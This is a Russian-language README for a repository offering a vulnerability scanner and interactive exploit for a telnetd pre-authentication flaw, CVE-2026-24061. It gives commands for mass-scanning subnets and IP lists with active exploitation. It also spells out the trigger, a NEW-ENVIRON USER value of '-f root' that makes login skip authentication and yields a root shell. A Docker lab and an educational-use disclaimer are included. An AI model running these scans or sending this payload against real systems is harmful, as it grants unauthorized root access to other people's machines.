CVE-2026-24061 Сканер уязвимостей и эксплойт

👨‍💻 Автор: Furkan KAYAPINAR (@FurkanKAYAPINAR)

Обзор

Этот репозиторий содержит сканер уязвимостей и интерактивный эксплойт для CVE-2026-24061. Эта уязвимость затрагивает inetutils-telnetd (и потенциально другие реализации Telnet) из-за некорректной обработки опции Telnet NEW-ENVIRON, что позволяет удалённый доступ без предварительной аутентификации с использованием полезной нагрузки -f root.

Возможности

scanner.py: Многопоточный эффективный сканер, поддерживающий одиночные цели, подсети CIDR и списки IP-адресов. Включает опциональный флаг --exploit для проверки RCE.
exploit.py: Надёжный интерактивный Telnet-клиент, который автоматизирует цепочку эксплойта и предоставляет пользователю root-оболочку после успешного выполнения.
Лабораторная среда: Docker-среда на базе Ubuntu с уязвимой версией inetutils-telnetd для безопасного тестирования.

Установка

Убедитесь, что у вас установлен Python 3.x.

git clone https://github.com/FurkanKAYAPINAR/CVE-2026-24061-telnet2root.git
cd CVE-2026-24061-telnet2root

## Использование

1. Сканер уязвимостей

Сканирование целей на наличие уязвимости NEW-ENVIRON.

# Сканирование одной цели
python3 scanner.py -t 192.168.1.100 -p 1903

# Сканирование подсети
python3 scanner.py -s 192.168.1.0/24 -p 1903

# Сканирование списка IP-адресов и попытка активной эксплуатации (проверка RCE)
python3 scanner.py -l ips.txt -p 1903 --exploit

2. Интерактивный эксплойт

Получение интерактивного доступа к root-оболочке.

python3 exploit.py -t 127.0.0.1 -p 1903

Настройка лабораторной среды

Разверните локальную уязвимую среду для тестирования:

Перейдите в каталог лаборатории:
```
cd lab
```
Соберите и запустите контейнер:
```
docker-compose up -d --build
```
Сервис будет прослушивать порт 1903.

Технические детали

Уязвимость срабатывает на этапе согласования Telnet. Отвечая на запрос сервера DO NEW-ENVIRON специально сформированным пакетом суб-согласования IS VAR "USER" VALUE "-f root", серверный процесс telnetd обманывается и передаёт флаг -f root процессу login, обходя аутентификацию.

Отказ от ответственности

[!WARNING]
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным и неэтичным.

CVE-2026-24061-telnet2root

Популярное